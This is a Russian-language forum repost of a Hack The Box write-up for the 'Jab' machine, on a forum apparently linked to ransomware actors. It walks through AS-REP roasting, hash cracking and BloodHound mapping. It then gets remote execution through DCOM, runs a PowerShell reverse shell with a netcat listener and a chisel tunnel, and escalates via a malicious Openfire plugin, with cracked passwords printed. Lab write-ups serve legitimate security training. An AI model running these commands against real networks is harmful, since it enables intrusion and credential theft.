• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Применяем AS-REP Roasting при атаке на Windows

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе нам предстоит получить 2,5 тысячи пользователей сервера XMPP и валидировать их в Active Directory. Затем мы найдем учетные данные и получим сессию на сервере, используя механизм DCOM. Повысить привилегии нам поможет вредоносный плагин для сервера Openfire.
Наша цель — получение прав суперпользователя на машине Jab с учебной площадки Hack The Box. Уровень сложности — средний.

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.4 jab.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся Результат работы скрипта

Сканер нашел много открытых портов:

  • 53 — DNS;
  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5222, 5223, 5262, 5263, 5269 — серверы Jabber;
  • 5270, 7443 — XMPP;
  • 9389 — AD DS.
Разведка на SMB ничего не дала, поэтому попробуем найти что‑нибудь на сервере Jabber.


Точка входа​

Для подключения к серверу Jabber потребуется какой‑нибудь клиент, например Для просмотра ссылки Войди или Зарегистрируйся.

Устанавливаем:

sudo apt install pidgin
Приветствие Pidgin

Так как у нас нет никаких учетных данных, создадим свою учетную запись.

Создание учетной записи

Создание учетной записи (продолжение)

После чего с созданной учетной записью регистрируемся на сервере.

Регистрация клиента

При присоединении к чату находим еще одно доменное имя.

Присоединение к чату

Добавим его в файл /etc/hosts.

10.10.11.4 jab.htb conference.jab.htb
Также можно получить список доступных комнат.

Список комнат

Когда все готово, можно поискать пользователей. Для этого нужно перейти в меню «Учетные записи → Пользователь → Искать пользователей → search.jab.htb». В поле Search указываем звездочку, чтобы искать любые имена.

Поиск пользователей

Список найденных пользователей

Список оказался намного больше, чем я ожидал, поэтому нужно найти способ сохранить свыше 2,5 тысячи пользователей в файл.


Точка опоры​

Закрываем Pidgin и запускаем его снова, но на этот раз в режиме отладки, с сохранением логов в файл:

pidgin -d > log.txt
Повторяем все действия для получения списка пользователей и проверяем файл.

Содержимое файла log.txt

Теперь из файла log.txt нужно вытащить имена пользователей и сохранить в другой файл.

grep -oP '<value>\K[^<][EMAIL]+@jab.htb[/EMAIL](?=</value>)' log.txt | cut -d '@' -f 1 | sort | uniq > users.txt

Когда все готово, можно перебрать этих полученных пользователей через Для просмотра ссылки Войди или Зарегистрируйся. Так мы убеждаемся в том, что пользователи реально существуют в домене.

kerbrute_linux_amd64 userenum -d jab.htb --dc 10.10.11.4 -t 128 ./users.txt
Результат перебора

Почти все пользователи из списка присутствуют в домене. Так как у нас нет никаких учетных данных, попробуем провести атаку AS-REP Roasting. Ее смысл в том, что мы посылаем на сервер аутентификации анонимный запрос для предоставления определенному пользователю доступа к какой‑либо услуге. На что сервер выдает один из трех ответов:

  • предоставляет билет, из которого мы возьмем хеш;
  • отвечает, что у данного пользователя не выставлен флаг UF_DONT_REQUIRE_PREAUTH;
  • говорит, что такого пользователя нет в базе Kerberos.
Выполнить можно при помощи скрипта impacket-GetNPUsers.

GetNPUsers.py jab.htb/ -usersfile users.txt
Результат проведения атаки

Таким образом, в домене есть пользователь, для которого не требуется предварительная аутентификация Kerberos. Из справки узнаём, что для подбора пароля в hashcat требуется режим 18200 (параметр -m).

hashcat --example | grep krb5asrep -B 11
Справка hashcat

hashcat -m 18200 hashes.txt rockyou.txt
Результат перебора пароля

Получив пароль, проверяем его валидность.

nxc smb 10.10.11.4 -u jmontgomery -p 'Midnight_121' --smb-timeout 5
Для просмотра ссылки Войди или Зарегистрируйся

Продвижение​

Больше ничего интересного не находим, поэтому поищем мисконфиги, то есть уязвимые конфигурации. В этом может помочь Для просмотра ссылки Войди или Зарегистрируйся. Эта тулза сканирует LDAP и использует графы для выявления скрытых и часто непреднамеренных взаимосвязей в среде Active Directory или Azure. Это помогает легко идентифицировать очень сложные пути атаки, которые в противном случае было бы невозможно быстро обнаружить. Для работы с данными нам дополнительно нужно установить СУБД Neo4j. Или можно просто запустить ее в Docker.

docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/[I]S3cr3T[/I] neo4j
Для сканирования из Linux будем использовать расширение для Для просмотра ссылки Войди или Зарегистрируйся. Но для этого необходимо, чтобы FQDN-имя контроллера домена было записано в файле /etc/hosts.

10.10.11.4 jab.htb conference.jab.htb DC01.jab.htb
А теперь используем NetExec с параметром --bloodhound.

nxc ldap 10.10.11.4 -u jmontgomery -p 'Midnight_121' -ns 10.10.11.4 --bloodhound
Сбор данных BloodHound

Но и тут ничего интересного. Однако есть сервис, куда мы еще не ходили от имени скомпрометированного пользователя, — это сервер XMPP.

Окно авторизации XMPP

Проверяем доступные комнаты и находим новую — pentest2003.

Список комнат

Заходим в комнату и просматриваем историю чата. Там находим сообщение с результатами перебора хеша с помощью hashcat.

Сообщения в чате

Забираем логин и пароль и проверяем учетные данные в домене.

nxc smb 10.10.11.4 -u svc_openfire -p '!@#$%^&*(1qazxsw' --smb-timeout 3
Проверка учетных данных

Так у нас появился новый пользователь, помечаем его как Owned и перестраиваем граф. Оказывается, пользователь состоит в группе DISTRIBUTED COM USERS.

Граф BloodHound

Таким образом, наш юзер может использовать механизм DCOM. Посмотрим, как обстоит дело с выполнением команд. Так как у нас нет возможности читать файлы с ресурса SMB, результат выполнения команды мы получить не сможем. Для теста запустим веб‑сервер Python на локальной машине и через скрипт dcomexec из набора Impacket выполним запрос с удаленного хоста при помощи curl.

dcomexec.py -object MMC20 'jab.htb/svc_openfire:!@#$%^&*(1qazxsw'@10.10.11.4 'curl 10.10.16.143/test_rce' -silentcommand
Выполнение команды через DCOM
Логи веб‑сервера

Запрос пришел, а значит, команда выполнена. На сайте Для просмотра ссылки Войди или Зарегистрируйся сгенерируем реверс‑шелл PowerShell #3 (Base64).

Reverse Shell Generator

Затем на локальной машине запустим листенер:

rlwrap nc -nlvp 4321
И выполним реверс‑шелл через dcomexec.

dcomexec.py -object MMC20 'jab.htb/svc_openfire:!@#$%^&*(1qazxsw'@10.10.11.4 'powershell -r JAB.....' -silentcommand
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
В выводе скрипта много всего, поэтому пройдемся по наиболее многообещающим пунктам.

В списке установленного программного обеспечения присутствует сервер Openfire.

Список установленного ПО

Среди прослушиваемых портов отметим 9000 и 9001, что типично для Openfire.

Прослушиваемые порты

Так как порт доступен только с локального хоста, необходимо туннелировать трафик. Для этого будем использовать утилиту Для просмотра ссылки Войди или Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр --port):

./chisel.bin server --port 8888 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройку туннелирования: с локального порта 9090 на порт 9090 хоста 127.0.0.1.

chisel.exe client 10.10.16.143:8888 R:9090:127.0.0.1:9090
В логах сервера должны увидеть сообщение о создании сессии.

Логи chisel server

Когда туннель готов, можно просмотреть сайт через порт 9090 своего локального хоста.

Форма авторизации Openfire

Для этого сервиса есть недавние CVE и даже опубликованный на GitHub Для просмотра ссылки Войди или Зарегистрируйся для обхода аутентификации и дальнейшего получения RCE через загрузку плагина.

Поиск эксплоитов в Google

Обход аутентификации не работает, однако получилось авторизоваться под учетной записью svc_openfire.

Главная страница Openfire

Попробуем получить RCE через загрузку плагина из того же репозитория. Для этого переходим на страницу Plugins и загружаем плагин.

Страница Plugins
После загрузки плагина увидим описание, что пароль — 123.

Страница Plugins

Теперь через меню Server переходим к Server Settings → Management Tool.

Страница Management Tool

Нас встречает форма ввода пароля. Вводим 123 и получаем доступ к панели выполнения команд.

Результат выполнения команды whoami

Так как мы работаем с максимальными привилегиями на хосте, можно прочитать флаг.

Флаг рута
Машина захвачена!
 
Activity
So far there's no one here